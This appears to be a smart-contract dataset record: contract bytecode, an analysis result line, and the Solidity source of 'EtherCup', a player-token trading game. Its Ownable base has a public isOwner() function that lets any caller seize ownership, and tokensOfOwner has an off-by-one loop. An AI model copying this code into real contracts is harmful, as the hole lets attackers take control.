352916020019161095c565b820191906000526020600020905b81548152906001019060200180831161093f57829003601f168201915b505050505081565b6000600460009054906101000a900460ff1615806109cf5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6109d857600080fd5b6109e283836114d6565b905092915050565b60005481565b6000600460009054906101000a900460ff161580610a5b5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610a6457600080fd5b610a6f84848461165b565b90509392505050565b600760009054906101000a900460ff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610ae557600080fd5b600460009054906101000a900460ff16610afe57600080fd5b6000600460006101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600460009054906101000a900460ff1681565b6000600460009054906101000a900460ff161580610beb5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610bf457600080fd5b610bfe8383611a79565b905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c6057600080fd5b80610c6a33610d76565b1015610c7557600080fd5b610cc781600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610d1f81600054611d0a90919063ffffffff16565b6000819055503373ffffffffffffffffffffffffffffffffffffffff167ffd38818f5291bf0bb3a2a48aadc06ba8757865d1dabd804585338aab3009dcb6826040518082815260200191505060405180910390a250565b6000610d9b610d8483610f7b565b610d8d8461113b565b611d0a90919063ffffffff16565b9050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610dfc57600080fd5b600460009054906101000a900460ff161580610e655750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b610e6e57600080fd5b6001600460006101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610f735780601f10610f4857610100808354040283529160200191610f73565b820191906000526020600020905b815481529060010190602001808311610f5657829003601f168201915b505050505081565b6000600860008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461101e57600080fd5b61102782610d76565b81111561103357600080fd5b600061103e83610f7b565b905060006110558383611d2190919063ffffffff16565b90506110618482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f2303912415a23c08c0cbb3a0b2b2813870ad5a2fd7b18c6d9da7d0086d9c188e846040518082815260200191505060405180910390a250505050565b6000600460009054906101000a900460ff1615806111205750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b61112957600080fd5b6111338383611d85565b905092915050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460009054906101000a900460ff1615806111ef5750600460019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b6111f857600080fd5b6112028383611f6e565b905092915050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112eb57600080fd5b6112f482610f7b565b81111561130057600080fd5b600061130b83610f7b565b905060006113228383611d0a90919063ffffffff16565b905061132e8482611d3d565b8373ffffffffffffffffffffffffffffffffffffffff167f25f6369ffb8611a066eafc897e56f4f4d2b8fc713cca586bd93e9b1af04a6cc0846040518082815260200191505060405180910390a250505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146113dc57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141561141657600080fd5b8073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008082148061156257506000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054145b61156b57600080fd5b81600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a36001905092915050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561169657600080fd5b81600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054101561171f57600080fd5b8161172985610d76565b101561173457600080fd5b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546117c683600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b116117d057600080fd5b61182282600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506118b782600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061198982600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a3600190509392505050565b600080600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905080831115611b8a576000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611c1e565b611b9d8382611d0a90919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b8373ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600191505092915050565b600082821115611d1657fe5b818303905092915050565b600080828401905083811015611d3357fe5b8091505092915050565b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505050565b60008073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611dc057600080fd5b611dc933610d76565b821115611dd557600080fd5b611e2782600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d0a90919063ffffffff16565b600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611ebc82600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b6000611fff82600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d2190919063ffffffff16565b600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546040518082815260200191505060405180910390a3600190509291505056fea265627a7a7231582018023affd06d33c2a6e561ecfec453007da03e502c48fa951f7553af784e5b8064736f6c634300050b0032
|
{"success": true, "error": null, "results": {}}
| 5,143 |
0xc55e5e72911fab07ef912c58e6dc168d73348820
|
pragma solidity ^0.4.19;
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The isOwner constructor sets the original `owner` of the contract to the sender
* account.
*/
function isOwner() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/*** Dennis & Bani welcome you ***/
contract EtherCup is Ownable {
// NOTE: Player is our global term used to describe unique tokens
using SafeMath for uint256;
/*** EVENTS ***/
event NewPlayer(uint tokenId, string name);
event TokenSold(uint256 tokenId, uint256 oldPrice, address prevOwner, address winner, string name);
event Transfer(address indexed _from, address indexed _to, uint256 _tokenId);
event Approval(address indexed _owner, address indexed _approved, uint256 _tokenId);
/*** CONSTANTS ***/
uint256 private price = 0.01 ether;
uint256 private priceLimitOne = 0.05 ether;
uint256 private priceLimitTwo = 0.5 ether;
uint256 private priceLimitThree = 2 ether;
uint256 private priceLimitFour = 5 ether;
/*** STORAGE ***/
mapping (uint => address) public playerToOwner;
mapping (address => uint) ownerPlayerCount;
mapping (uint256 => uint256) public playerToPrice;
mapping (uint => address) playerApprovals;
// The address of the accounts (or contracts) that can execute actions within each roles.
address public ceoAddress;
/*** DATATYPES ***/
struct Player {
string name;
}
Player[] public players;
/*** ACCESS MODIFIERS ***/
/// @dev Access modifier for CEO-only functionality
modifier onlyCEO() {
require(msg.sender == ceoAddress);
_;
}
modifier onlyOwnerOf(uint _tokenId) {
require(msg.sender == playerToOwner[_tokenId]);
_;
}
/*** CONSTRUCTOR ***/
// In newer versions use "constructor() public { };" instead of "function PlayerLab() public { };"
constructor() public {
ceoAddress = msg.sender;
}
/*** CEO ***/
/// @dev Assigns a new address to act as the CEO. Only available to the current CEO.
/// @param _newCEO The address of the new CEO
function setCEO(address _newCEO) public onlyCEO {
require(_newCEO != address(0));
ceoAddress = _newCEO;
}
/*** CREATE PLAYERS ***/
function createNewPlayer(string _name) public onlyCEO {
_createPlayer(_name, price);
}
function _createPlayer(string _name, uint256 _price) internal {
uint id = players.push(Player(_name)) - 1;
playerToOwner[id] = msg.sender;
ownerPlayerCount[msg.sender] = ownerPlayerCount[msg.sender].add(1);
emit NewPlayer(id, _name);
playerToPrice[id] = _price;
}
/*** Buy ***/
function calculateNextPrice (uint256 _price) public view returns (uint256 _nextPrice) {
if (_price < priceLimitOne) {
return _price.mul(200).div(95); // < 0.05
} else if (_price < priceLimitTwo) {
return _price.mul(175).div(95); // < 0.5
} else if (_price < priceLimitThree) {
return _price.mul(150).div(95); // < 2
} else if (_price < priceLimitFour) {
return _price.mul(125).div(95); // < 5
} else {
return _price.mul(115).div(95); // >= 5
}
}
function calculateDevCut (uint256 _price) public pure returns (uint256 _devCut) {
return _price.mul(5).div(100);
}
function purchase(uint256 _tokenId) public payable {
address oldOwner = playerToOwner[_tokenId];
address newOwner = msg.sender;
uint256 sellingPrice = playerToPrice[_tokenId];
uint256 purchaseExcess = msg.value.sub(sellingPrice);
// Making sure token owner is not sending to self
require(oldOwner != newOwner);
// Making sure sent amount is greater than or equal to the sellingPrice
require(msg.value >= sellingPrice);
_transfer(oldOwner, newOwner, _tokenId);
playerToPrice[_tokenId] = nextPriceOf(_tokenId);
// Devevloper's cut which is left in contract and accesed by
// `withdrawAll` and `withdrawAmountTo` methods.
uint256 devCut = calculateDevCut(sellingPrice);
uint256 payment = sellingPrice.sub(devCut);
// Pay previous tokenOwner if owner is not contract
if (oldOwner != address(this)) {
oldOwner.transfer(payment);
}
if (purchaseExcess > 0){
newOwner.transfer(purchaseExcess);
}
emit TokenSold(_tokenId, sellingPrice, oldOwner, newOwner, players[_tokenId].name);
}
/*** Withdraw Dev Cut ***/
/*
NOTICE: These functions withdraw the developer's cut which is left
in the contract by `buy`. User funds are immediately sent to the old
owner in `buy`, no user funds are left in the contract.
*/
function withdrawAll () onlyCEO() public {
ceoAddress.transfer(address(this).balance);
}
function withdrawAmount (uint256 _amount) onlyCEO() public {
ceoAddress.transfer(_amount);
}
function showDevCut () onlyCEO() public view returns (uint256) {
return address(this).balance;
}
/*** ***/
function priceOf(uint256 _tokenId) public view returns (uint256 _price) {
return playerToPrice[_tokenId];
}
function priceOfMultiple(uint256[] _tokenIds) public view returns (uint256[]) {
uint[] memory values = new uint[](_tokenIds.length);
for (uint256 i = 0; i < _tokenIds.length; i++) {
values[i] = priceOf(_tokenIds[i]);
}
return values;
}
function nextPriceOf(uint256 _tokenId) public view returns (uint256 _nextPrice) {
return calculateNextPrice(priceOf(_tokenId));
}
/*** ERC721 ***/
function totalSupply() public view returns (uint256 total) {
return players.length;
}
function balanceOf(address _owner) public view returns (uint256 _balance) {
return ownerPlayerCount[_owner];
}
function ownerOf(uint256 _tokenId) public view returns (address _owner) {
return playerToOwner[_tokenId];
}
function approve(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
playerApprovals[_tokenId] = _to;
emit Approval(msg.sender, _to, _tokenId);
}
function transfer(address _to, uint256 _tokenId) public onlyOwnerOf(_tokenId) {
_transfer(msg.sender, _to, _tokenId);
}
function _transfer(address _from, address _to, uint256 _tokenId) private {
ownerPlayerCount[_to] = ownerPlayerCount[_to].add(1);
ownerPlayerCount[_from] = ownerPlayerCount[_from].sub(1);
playerToOwner[_tokenId] = _to;
emit Transfer(_from, _to, _tokenId);
}
/// @dev This method MUST NEVER be called by smart contract code. First, it's fairly
/// expensive (it walks the entire Persons array looking for persons belonging to owner),
/// but it also returns a dynamic array, which is only supported for web3 calls, and
/// not contract-to-contract calls.
function tokensOfOwner(address _owner) public view returns(uint256[] ownerTokens) {
uint256 tokenCount = balanceOf(_owner);
if (tokenCount == 0) {
// Return an empty array
return new uint256[](0);
} else {
uint256[] memory result = new uint256[](tokenCount);
uint256 totalPlayers = totalSupply();
uint256 resultIndex = 0;
uint256 playerId;
for (playerId = 0; playerId <= totalPlayers; playerId++) {
if (playerToOwner[playerId] == _owner) {
result[resultIndex] = playerId;
resultIndex++;
}
}
return result;
}
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
|
0x60806040526004361061013e576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630562b9f714610143578063095ea7b3146101705780630a0f8168146101bd57806318160ddd1461021457806319b90d271461023f57806327d7874c146102ac57806338fa1570146102ef5780635ba9e48e1461031a5780636352211e1461035b57806363637c87146103c8578063651212051461043157806370a08231146104725780638462151c146104c9578063853828b6146105615780638da5cb5b146105785780638f32d59b146105cf578063a9059cbb146105e6578063af64b73514610633578063b9186d7d14610674578063e08503ec146106b5578063e98a1439146106f6578063efef39a1146107b1578063f2fde38b146107d1578063f71d96cb14610814575b600080fd5b34801561014f57600080fd5b5061016e600480360381019080803590602001909291905050506108ba565b005b34801561017c57600080fd5b506101bb600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610982565b005b3480156101c957600080fd5b506101d2610aac565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561022057600080fd5b50610229610ad2565b6040518082815260200191505060405180910390f35b34801561024b57600080fd5b5061026a60048036038101908080359060200190929190505050610adf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156102b857600080fd5b506102ed600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610b12565b005b3480156102fb57600080fd5b50610304610bee565b6040518082815260200191505060405180910390f35b34801561032657600080fd5b5061034560048036038101908080359060200190929190505050610c69565b6040518082815260200191505060405180910390f35b34801561036757600080fd5b5061038660048036038101908080359060200190929190505050610c83565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156103d457600080fd5b5061042f600480360381019080803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610cc0565b005b34801561043d57600080fd5b5061045c60048036038101908080359060200190929190505050610d2b565b6040518082815260200191505060405180910390f35b34801561047e57600080fd5b506104b3600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610d5b565b6040518082815260200191505060405180910390f35b3480156104d557600080fd5b5061050a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610da4565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561054d578082015181840152602081019050610532565b505050509050019250505060405180910390f35b34801561056d57600080fd5b50610576610ef1565b005b34801561058457600080fd5b5061058d610fcf565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156105db57600080fd5b506105e4610ff4565b005b3480156105f257600080fd5b50610631600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611036565b005b34801561063f57600080fd5b5061065e600480360381019080803590602001909291905050506110b4565b6040518082815260200191505060405180910390f35b34801561068057600080fd5b5061069f600480360381019080803590602001909291905050506110cc565b6040518082815260200191505060405180910390f35b3480156106c157600080fd5b506106e0600480360381019080803590602001909291905050506110e9565b6040518082815260200191505060405180910390f35b34801561070257600080fd5b5061075a600480360381019080803590602001908201803590602001908080602002602001604051908101604052809392919081815260200183836020028082843782019150505050505091929192905050506111fa565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561079d578082015181840152602081019050610782565b505050509050019250505060405180910390f35b6107cf60048036038101908080359060200190929190505050611293565b005b3480156107dd57600080fd5b50610812600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506115b8565b005b34801561082057600080fd5b5061083f6004803603810190808035906020019092919050505061170d565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561087f578082015181840152602081019050610864565b50505050905090810190601f1680156108ac5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561091657600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f1935050505015801561097e573d6000803e3d6000fd5b5050565b806006600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156109f057600080fd5b826009600084815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925846040518082815260200191505060405180910390a3505050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b80549050905090565b60066020528060005260406000206000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610b6e57600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614151515610baa57600080fd5b80600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610c4c57600080fd5b3073ffffffffffffffffffffffffffffffffffffffff1631905090565b6000610c7c610c77836110cc565b6110e9565b9050919050565b60006006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d1c57600080fd5b610d28816001546117ce565b50565b6000610d546064610d466005856119d690919063ffffffff16565b611a1190919063ffffffff16565b9050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6060600060606000806000610db887610d5b565b94506000851415610dfb576000604051908082528060200260200182016040528015610df35781602001602082028038833980820191505090505b509550610ee7565b84604051908082528060200260200182016040528015610e2a5781602001602082028038833980820191505090505b509350610e35610ad2565b925060009150600090505b8281111515610ee3578673ffffffffffffffffffffffffffffffffffffffff166006600083815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415610ed657808483815181101515610ebf57fe5b906020019060200201818152505081806001019250505b8080600101915050610e40565b8395505b5050505050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f4d57600080fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc3073ffffffffffffffffffffffffffffffffffffffff16319081150290604051600060405180830381858888f19350505050158015610fcc573d6000803e3d6000fd5b50565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b806006600082815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156110a457600080fd5b6110af338484611a2c565b505050565b60086020528060005260406000206000915090505481565b600060086000838152602001908152602001600020549050919050565b60006002548210156111235761111c605f61110e60c8856119d690919063ffffffff16565b611a1190919063ffffffff16565b90506111f5565b60035482101561115b57611154605f61114660af856119d690919063ffffffff16565b611a1190919063ffffffff16565b90506111f5565b6004548210156111935761118c605f61117e6096856119d690919063ffffffff16565b611a1190919063ffffffff16565b90506111f5565b6005548210156111cb576111c4605f6111b6607d856119d690919063ffffffff16565b611a1190919063ffffffff16565b90506111f5565b6111f2605f6111e46073856119d690919063ffffffff16565b611a1190919063ffffffff16565b90505b919050565b6060806000835160405190808252806020026020018201604052801561122f5781602001602082028038833980820191505090505b509150600090505b835181101561128957611260848281518110151561125157fe5b906020019060200201516110cc565b828281518110151561126e57fe5b90602001906020020181815250508080600101915050611237565b8192505050919050565b6000806000806000806006600088815260200190815260200160002060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169550339450600860008881526020019081526020016000205493506112fe8434611c1490919063ffffffff16565b92508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415151561133b57600080fd5b83341015151561134a57600080fd5b611355868689611a2c565b61135e87610c69565b600860008981526020019081526020016000208190555061137e84610d2b565b91506113938285611c1490919063ffffffff16565b90503073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141515611412578573ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611410573d6000803e3d6000fd5b505b6000831115611463578473ffffffffffffffffffffffffffffffffffffffff166108fc849081150290604051600060405180830381858888f19350505050158015611461573d6000803e3d6000fd5b505b7f89754784903923550ab6d4cff8ce3e5583dfc46d12053d027543c4fa970c5b5587858888600b8c81548110151561149757fe5b90600052602060002001600001604051808681526020018581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018060200182810382528381815460018160011615610100020316600290048152602001915080546001816001161561010002031660029004801561159d5780601f106115725761010080835404028352916020019161159d565b820191906000526020600020905b81548152906001019060200180831161158057829003601f168201915b5050965050505050505060405180910390a150505050505050565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561161357600080fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415151561164f57600080fd5b8073ffffffffffffffffffffffffffffffffffffffff166000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600b8181548110151561171c57fe5b90600052602060002001600091509050806000018054600181600116156101000203166002900480601